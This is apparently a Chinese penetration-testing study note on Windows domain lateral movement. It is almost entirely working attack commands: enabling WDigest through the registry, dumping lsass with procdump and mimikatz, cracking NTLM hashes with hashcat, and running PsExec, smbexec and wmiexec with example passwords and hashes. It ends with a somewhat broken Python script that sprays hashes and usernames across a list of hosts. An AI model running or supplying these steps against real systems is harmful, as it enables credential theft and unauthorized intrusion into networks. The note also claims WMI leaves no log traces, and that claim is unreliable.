8.18域横向smb&wmi明文或hash传递

知识点

windows 2012以上版本默认关闭wdigust,攻击者无法从内存中获取明文密码;

Windows2012以下版本如安装KB287199补丁,同样也无法从内存中获取明文密码;

解决方法:

1、利用哈希hash传递(ptl、ptk等)进行移动

2、利用其他服务协议(SMB、WMI等)进行哈希移动

3、利用注册表操作开启wdigust、Auth值进行获取

4、利用工具或第三方平台(Hachcat)进行破解

知识点2:

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

注册表修改开启Wdigest Auth值

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Procdump(windows官方自带)+Mimikatz配合获取

优点:isass.dump包括一些windows本地策略和账户管理,获取lsass.dmp文件后,可在本地mimikatz解密;
cmd切换盘:cd /d 目标地址

当mimikatz获取失败时配合procdump获取密码

1、生成储存着密码hash值的.dmp文件

procdump -accepteula -ma lsass.exe lsass.dmp

2、将dmp文件放到mimikatz上执行

提权: privilege::debug

记录控制台输入结果:log

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

附两款提取密码的软件

Pwdump7

QuarksPwdump

Hashcat工具破解获取Windows NTML Hash

    hashcat -a 0 -m 1000 hash file --force

该工具还支持更多密码破解 

32ed87bdb5fdc5e9cba88547376818d4

利用SMB服务通过明文hash传递远程执行,条件445服务端口开放即可;

1、psexec第一种(pstool中的PsExec.exe文件):先有ipc链接,psexec需要明文或hash传递

需要先有ipc链接,-s以System权限运行

net use \[IP]\ipc$"[密码]" /user:[用户名]

net use \192.168.79.132\ipc$ lcn#123456 /user:lcn.cn\Administrator #建立tcp连接

PsExec.exe \192.168.79.132 -s cmd

2、psexec第二种:不用建立IPC直接提供明文账户密码

PsExec.exe \[IP] -u [用户名] -p [密码] -s cmd

PsExec.exe \192.168.79.132 -u administrator -p lcn#123456 -s cmd

PsExec.exe -hashes :[密码的hash值] ./[用户名]@[IP]

PsExec.exe -hashes :b7f2f7b2491ba316e8cd773f8c2d58df ./administrator@192.168.79.132

PsExec.exe -hashes :HASH ./administrator@10.1.2.3

PsExec.exe -hashes :[密码的hash值] [域名]/[用户名]@[IP]

PsExec.exe -hashes :HASH domain/administrator@10.1.2.3

尝试失败。。

官方Pstools无法采用hash连接,可以使用impacket工具包,操作简单,容易被杀

3smbexec无需先ipc链接明文或hash传递

smbexec [域名]/[用户名]:[密码]@[IP]

smbexec lcn.cn/administrator:lcn#123456@192.168.79.132

smbexec ./[用户名]:[密码]@[IP]

smbexec ./administrator:lcn#123456@192.168.79.132

smbexec -hashes :[密码的hash值] ./[用户名]@[IP]

smbexec -hashes :HASH ./lcn#123456@192.168.79.132

smbexec -hashes :[密码的hash值] [域名]/[用户名]@[IP]

smbexec -hashes :HASH lcn.cn/administrator@192.168.79.132

 smbexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df  lcn.cn/administrator@192.168.79.132

使用impacket工具包中的psexec模板同理

psexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df  lcn.cn/administrator@192.168.79.132

如何区分本地和域用户

net user :本地用户

net user /domain:域用户;连接域用户需加域名;

域横向移动WMI服务利用-cscript、wmiexec、wmic

WMI(Windows Management Instrumentation)是**==通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。**==**

**1、自带WMIC明文传递,无回显

wmic /node:[IP] /user:[用户名] /password:[密码] process call create "[命令]"

wmic /node:192.168.79.130 /user:administrator /password:admin@123 process call create "cmd.exe /c ipconfig >C:\1.txt"

(运行cmd,执行ipconfig并将结果输出到C盘下的1.txt中)

2、自带cscript明文传递,有回显,需要下载wmiexec.vbs配合

cscript //nologo wmiexec.vbs /shell [IP] [用户名] [密码]

cscript //nologo wmiexec.vbs /shell 192.168.79.130 administrator admin@123

会反弹一个shell

3、套件impacket wmiexec明文或hash传递,有回显exe版本,可能被杀

wmiexec ./[用户名]:[密码]@[IP] "[命令]"

wmiexec ./administrator:lcn#123456@192.168.79.132 "whoami"

wmiexec [域名]/[用户名]:[密码]@[IP] "[命令]"

wmiexec lcn.cn/administrator:lcn#123456@192.168.79.132 "whoami"

wmiexec -hashes :[密码的hash值] ./[用户名]:[密码]@[IP] "[命令]"

wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.79.130 "whoami"

wmiexec -hashes :[密码的hash值] [域名]/[用户名]:[密码]@[IP] "[命令]"

wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 god/administrator@192.168.3.21 "whoami"

域横向移动以上服务hash批量利用-python编译exe

利用py脚本制作的exe文件批量尝试横向渗透

内网横向渗透攻击思路

通过mimikatz收集明文或hash值的密码,"net user /domain"收集域内的用户名,"for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=""探索域内存活地址

批量扫描,用密码撞库

收集更多密码

重复2、3步

``

```

import os

import time

ips={

'192.168.79.128',

'192.168.79.129',

'192.168.79.130',

'192.168.79.132'

}

users={

'admin',

'Administrator',

'administrator',

'userlu',

'testuser',

'juligan'

}

hashs={

'579da618cfbfa85247acf1f800a280a4',

'b7f2f7b2491ba316e8cd773f8c2d58df'

}

'''

passs={

'admin@123', 'admin!123', 'admin#123', 'lcn#123456'}

'''

for ip in ips:

for user in users:

for hash in hashs:

wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./administrator@192.168.3.21 "whoami"

exec="wmiexec -hashes :" +hash +' lcn.cn/' +user+ '@'+ ip + "whoami"

execs = "wmiexec -hashes :" + hash + ' ./administrator' + user + '@' + ip + "whoami"

print('--》'+exec+'《--')

os.system(exec)

time.sleep(1)

### 涉及资源:

Hashcat:https://github.com/hashcat/hashcat

密码破解全能工具:Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html

mimikatz:https://github.com/gentilkiwi/mimikatz

impacket:https://github.com/SecureAuthCorp/impacket

impacket-examples-windows:https://gitee.com/RichChigga/impacket-examples-windows

PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

ProcDump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

wmiexec.vbs:https://github.com/realdeveloperongithub/K8tools/blob/master/wmiexec.vbs

wmiexec.vbs(找了俩):https://gitee.com/mirrors/K8tools/blob/master/wmiexec.vbs